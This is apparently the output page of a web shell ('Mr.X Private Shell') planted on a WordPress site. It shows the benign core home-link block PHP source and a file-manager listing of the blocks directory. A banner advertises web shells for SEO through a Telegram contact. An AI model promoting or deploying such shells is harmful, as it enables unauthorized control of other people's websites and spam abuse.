__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Server-side rendering of the `core/home-link` block.
*
* @package WordPress
*/
/**
* Build an array with CSS classes and inline styles defining the colors
* which will be applied to the home link markup in the front-end.
*
* @since 6.0.0
*
* @param array $context home link block context.
* @return array Colors CSS classes and inline styles.
*/
function block_core_home_link_build_css_colors( $context ) {
$colors = array(
'css_classes' => array(),
'inline_styles' => '',
);
// Text color.
$has_named_text_color = array_key_exists( 'textColor', $context );
$has_custom_text_color = isset( $context['style']['color']['text'] );
// If has text color.
if ( $has_custom_text_color || $has_named_text_color ) {
// Add has-text-color class.
$colors['css_classes'][] = 'has-text-color';
}
if ( $has_named_text_color ) {
// Add the color class.
$colors['css_classes'][] = sprintf( 'has-%s-color', $context['textColor'] );
} elseif ( $has_custom_text_color ) {
// Add the custom color inline style.
$colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] );
}
// Background color.
$has_named_background_color = array_key_exists( 'backgroundColor', $context );
$has_custom_background_color = isset( $context['style']['color']['background'] );
// If has background color.
if ( $has_custom_background_color || $has_named_background_color ) {
// Add has-background class.
$colors['css_classes'][] = 'has-background';
}
if ( $has_named_background_color ) {
// Add the background-color class.
$colors['css_classes'][] = sprintf( 'has-%s-background-color', $context['backgroundColor'] );
} elseif ( $has_custom_background_color ) {
// Add the custom background-color inline style.
$colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] );
}
return $colors;
}
/**
* Build an array with CSS classes and inline styles defining the font sizes
* which will be applied to the home link markup in the front-end.
*
* @since 6.0.0
*
* @param array $context Home link block context.
* @return array Font size CSS classes and inline styles.
*/
function block_core_home_link_build_css_font_sizes( $context ) {
// CSS classes.
$font_sizes = array(
'css_classes' => array(),
'inline_styles' => '',
);
$has_named_font_size = array_key_exists( 'fontSize', $context );
$has_custom_font_size = isset( $context['style']['typography']['fontSize'] );
if ( $has_named_font_size ) {
// Add the font size class.
$font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] );
} elseif ( $has_custom_font_size ) {
// Add the custom font size inline style.
$font_sizes['inline_styles'] = sprintf( 'font-size: %s;', $context['style']['typography']['fontSize'] );
}
return $font_sizes;
}
/**
* Builds an array with classes and style for the li wrapper
*
* @since 6.0.0
*
* @param array $context Home link block context.
* @return string The li wrapper attributes.
*/
function block_core_home_link_build_li_wrapper_attributes( $context ) {
$colors = block_core_home_link_build_css_colors( $context );
$font_sizes = block_core_home_link_build_css_font_sizes( $context );
$classes = array_merge(
$colors['css_classes'],
$font_sizes['css_classes']
);
$style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] );
$classes[] = 'wp-block-navigation-item';
if ( is_front_page() ) {
$classes[] = 'current-menu-item';
} elseif ( is_home() && ( (int) get_option( 'page_for_posts' ) !== get_queried_object_id() ) ) {
// Edge case where the Reading settings has a posts page set but not a static homepage.
$classes[] = 'current-menu-item';
}
$wrapper_attributes = get_block_wrapper_attributes(
array(
'class' => implode( ' ', $classes ),
'style' => $style_attribute,
)
);
return $wrapper_attributes;
}
/**
* Renders the `core/home-link` block.
*
* @since 6.0.0
*
* @param array $attributes The block attributes.
* @param string $content The saved content.
* @param WP_Block $block The parsed block.
*
* @return string Returns the post content with the home url added.
*/
function render_block_core_home_link( $attributes, $content, $block ) {
if ( empty( $attributes['label'] ) ) {
$attributes['label'] = __( 'Home' );
}
$aria_current = '';
if ( is_front_page() ) {
$aria_current = ' aria-current="page"';
} elseif ( is_home() && ( (int) get_option( 'page_for_posts' ) !== get_queried_object_id() ) ) {
// Edge case where the Reading settings has a posts page set but not a static homepage.
$aria_current = ' aria-current="page"';
}
return sprintf(
'<li %1$s><a class="wp-block-home-link__content wp-block-navigation-item__content" href="%2$s" rel="home"%3$s>%4$s</a></li>',
block_core_home_link_build_li_wrapper_attributes( $block->context ),
esc_url( home_url() ),
$aria_current,
wp_kses_post( $attributes['label'] )
);
}
/**
* Register the home block
*
* @since 6.0.0
*
* @uses render_block_core_home_link()
* @throws WP_Error An WP_Error exception parsing the block definition.
*/
function register_block_core_home_link() {
register_block_type_from_metadata(
__DIR__ . '/home-link',
array(
'render_callback' => 'render_block_core_home_link',
)
);
}
add_action( 'init', 'register_block_core_home_link' );
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| accordion | Folder | 0755 |
|
|
| accordion-heading | Folder | 0755 |
|
|
| accordion-item | Folder | 0755 |
|
|
| accordion-panel | Folder | 0755 |
|
|
| archives | Folder | 0755 |
|
|
| audio | Folder | 0755 |
|
|
| avatar | Folder | 0755 |
|
|
| block | Folder | 0755 |
|
|
| button | Folder | 0755 |
|
|
| buttons | Folder | 0755 |
|
|
| calendar | Folder | 0755 |
|
|
| categories | Folder | 0755 |
|
|
| code | Folder | 0755 |
|
|
| column | Folder | 0755 |
|
|
| columns | Folder | 0755 |
|
|
| comment-author-name | Folder | 0755 |
|
|
| comment-content | Folder | 0755 |
|
|
| comment-date | Folder | 0755 |
|
|
| comment-edit-link | Folder | 0755 |
|
|
| comment-reply-link | Folder | 0755 |
|
|
| comment-template | Folder | 0755 |
|
|
| comments | Folder | 0755 |
|
|
| comments-pagination | Folder | 0755 |
|
|
| comments-pagination-next | Folder | 0755 |
|
|
| comments-pagination-numbers | Folder | 0755 |
|
|
| comments-pagination-previous | Folder | 0755 |
|
|
| comments-title | Folder | 0755 |
|
|
| cover | Folder | 0755 |
|
|
| details | Folder | 0755 |
|
|
| embed | Folder | 0755 |
|
|
| file | Folder | 0755 |
|
|
| footnotes | Folder | 0755 |
|
|
| freeform | Folder | 0755 |
|
|
| gallery | Folder | 0755 |
|
|
| group | Folder | 0755 |
|
|
| heading | Folder | 0755 |
|
|
| home-link | Folder | 0755 |
|
|
| html | Folder | 0755 |
|
|
| image | Folder | 0755 |
|
|
| latest-comments | Folder | 0755 |
|
|
| latest-posts | Folder | 0755 |
|
|
| legacy-widget | Folder | 0755 |
|
|
| list | Folder | 0755 |
|
|
| list-item | Folder | 0755 |
|
|
| loginout | Folder | 0755 |
|
|
| math | Folder | 0755 |
|
|
| media-text | Folder | 0755 |
|
|
| missing | Folder | 0755 |
|
|
| more | Folder | 0755 |
|
|
| navigation | Folder | 0755 |
|
|
| navigation-link | Folder | 0755 |
|
|
| navigation-submenu | Folder | 0755 |
|
|
| nextpage | Folder | 0755 |
|
|
| page-list | Folder | 0755 |
|
|
| page-list-item | Folder | 0755 |
|
|
| paragraph | Folder | 0755 |
|
|
| pattern | Folder | 0755 |
|
|
| post-author | Folder | 0755 |
|
|
| post-author-biography | Folder | 0755 |
|
|
| post-author-name | Folder | 0755 |
|
|
| post-comments-count | Folder | 0755 |
|
|
| post-comments-form | Folder | 0755 |
|
|
| post-comments-link | Folder | 0755 |
|
|
| post-content | Folder | 0755 |
|
|
| post-date | Folder | 0755 |
|
|
| post-excerpt | Folder | 0755 |
|
|
| post-featured-image | Folder | 0755 |
|
|
| post-navigation-link | Folder | 0755 |
|
|
| post-template | Folder | 0755 |
|
|
| post-terms | Folder | 0755 |
|
|
| post-time-to-read | Folder | 0755 |
|
|
| post-title | Folder | 0755 |
|
|
| preformatted | Folder | 0755 |
|
|
| pullquote | Folder | 0755 |
|
|
| query | Folder | 0755 |
|
|
| query-no-results | Folder | 0755 |
|
|
| query-pagination | Folder | 0755 |
|
|
| query-pagination-next | Folder | 0755 |
|
|
| query-pagination-numbers | Folder | 0755 |
|
|
| query-pagination-previous | Folder | 0755 |
|
|
| query-title | Folder | 0755 |
|
|
| query-total | Folder | 0755 |
|
|
| quote | Folder | 0755 |
|
|
| read-more | Folder | 0755 |
|
|
| rss | Folder | 0755 |
|
|
| search | Folder | 0755 |
|
|
| separator | Folder | 0755 |
|
|
| shortcode | Folder | 0755 |
|
|
| site-logo | Folder | 0755 |
|
|
| site-tagline | Folder | 0755 |
|
|
| site-title | Folder | 0755 |
|
|
| social-link | Folder | 0755 |
|
|
| social-links | Folder | 0755 |
|
|
| spacer | Folder | 0755 |
|
|
| table | Folder | 0755 |
|
|
| tag-cloud | Folder | 0755 |
|
|
| template-part | Folder | 0755 |
|
|
| term-count | Folder | 0755 |
|
|
| term-description | Folder | 0755 |
|
|
| term-name | Folder | 0755 |
|
|
| term-template | Folder | 0755 |
|
|
| terms-query | Folder | 0755 |
|
|
| text-columns | Folder | 0755 |
|
|
| verse | Folder | 0755 |
|
|
| video | Folder | 0755 |
|
|
| widget-group | Folder | 0755 |
|
|
| accordion-item.php | File | 2.35 KB | 0644 |
|
| accordion.php | File | 1.12 KB | 0644 |
|
| archives.php | File | 4.31 KB | 0644 |
|
| avatar.php | File | 5.61 KB | 0644 |
|
| block.php | File | 4.09 KB | 0644 |
|
| blocks-json.php | File | 213.45 KB | 0644 |
|
| button.php | File | 1.71 KB | 0644 |
|
| calendar.php | File | 5.93 KB | 0644 |
|
| categories.php | File | 4.54 KB | 0644 |
|
| comment-author-name.php | File | 2.08 KB | 0644 |
|
| comment-content.php | File | 2.4 KB | 0644 |
|
| comment-date.php | File | 1.82 KB | 0644 |
|
| comment-edit-link.php | File | 1.67 KB | 0644 |
|
| comment-reply-link.php | File | 2.03 KB | 0644 |
|
| comment-template.php | File | 4.39 KB | 0644 |
|
| comments-pagination-next.php | File | 1.88 KB | 0644 |
|
| comments-pagination-numbers.php | File | 1.59 KB | 0644 |
|
| comments-pagination-previous.php | File | 1.75 KB | 0644 |
|
| comments-pagination.php | File | 1.23 KB | 0644 |
|
| comments-title.php | File | 2.71 KB | 0644 |
|
| comments.php | File | 6.63 KB | 0644 |
|
| cover.php | File | 3.1 KB | 0644 |
|
| file.php | File | 1.83 KB | 0644 |
|
| footnotes.php | File | 3.68 KB | 0644 |
|
| gallery.php | File | 6.29 KB | 0644 |
|
| heading.php | File | 1.27 KB | 0644 |
|
| home-link.php | File | 5.31 KB | 0644 |
|
| image.php | File | 13.5 KB | 0644 |
|
| index.php | File | 4.99 KB | 0644 |
|
| latest-comments.php | File | 4.91 KB | 0644 |
|
| latest-posts.php | File | 8.53 KB | 0644 |
|
| legacy-widget.php | File | 3.92 KB | 0644 |
|
| list.php | File | 1.24 KB | 0644 |
|
| loginout.php | File | 1.63 KB | 0644 |
|
| media-text.php | File | 4.28 KB | 0644 |
|
| navigation-link.php | File | 13.63 KB | 0644 |
|
| navigation-submenu.php | File | 9.74 KB | 0644 |
|
| navigation.php | File | 48.39 KB | 0644 |
|
| page-list-item.php | File | 361 B | 0644 |
|
| page-list.php | File | 13.29 KB | 0644 |
|
| pattern.php | File | 1.75 KB | 0644 |
|
| post-author-biography.php | File | 1.49 KB | 0644 |
|
| post-author-name.php | File | 1.91 KB | 0644 |
|
| post-author.php | File | 2.67 KB | 0644 |
|
| post-comments-count.php | File | 1.25 KB | 0644 |
|
| post-comments-form.php | File | 2.74 KB | 0644 |
|
| post-comments-link.php | File | 2.18 KB | 0644 |
|
| post-content.php | File | 2.29 KB | 0644 |
|
| post-date.php | File | 3.55 KB | 0644 |
|
| post-excerpt.php | File | 3.53 KB | 0644 |
|
| post-featured-image.php | File | 9.14 KB | 0644 |
|
| post-navigation-link.php | File | 4.72 KB | 0644 |
|
| post-template.php | File | 5.61 KB | 0644 |
|
| post-terms.php | File | 3.55 KB | 0644 |
|
| post-time-to-read.php | File | 6.34 KB | 0644 |
|
| post-title.php | File | 2.09 KB | 0644 |
|
| query-no-results.php | File | 1.8 KB | 0644 |
|
| query-pagination-next.php | File | 3.69 KB | 0644 |
|
| query-pagination-numbers.php | File | 4.66 KB | 0644 |
|
| query-pagination-previous.php | File | 3.49 KB | 0644 |
|
| query-pagination.php | File | 1.15 KB | 0644 |
|
| query-title.php | File | 2.87 KB | 0644 |
|
| query-total.php | File | 2.48 KB | 0644 |
|
| query.php | File | 5.56 KB | 0644 |
|
| read-more.php | File | 1.79 KB | 0644 |
|
| require-dynamic-blocks.php | File | 4.59 KB | 0644 |
|
| require-static-blocks.php | File | 558 B | 0644 |
|
| rss.php | File | 4.5 KB | 0644 |
|
| search.php | File | 23.26 KB | 0644 |
|
| shortcode.php | File | 735 B | 0644 |
|
| site-logo.php | File | 6.19 KB | 0644 |
|
| site-tagline.php | File | 1.17 KB | 0644 |
|
| site-title.php | File | 1.82 KB | 0644 |
|
| social-link.php | File | 66.15 KB | 0644 |
|
| tag-cloud.php | File | 1.55 KB | 0644 |
|
| template-part.php | File | 9.92 KB | 0644 |
|
| term-count.php | File | 1.8 KB | 0644 |
|
| term-description.php | File | 1.73 KB | 0644 |
|
| term-name.php | File | 2.02 KB | 0644 |
|
| term-template.php | File | 4.36 KB | 0644 |
|
| video.php | File | 2.67 KB | 0644 |
|
| widget-group.php | File | 2.38 KB | 0644 |
|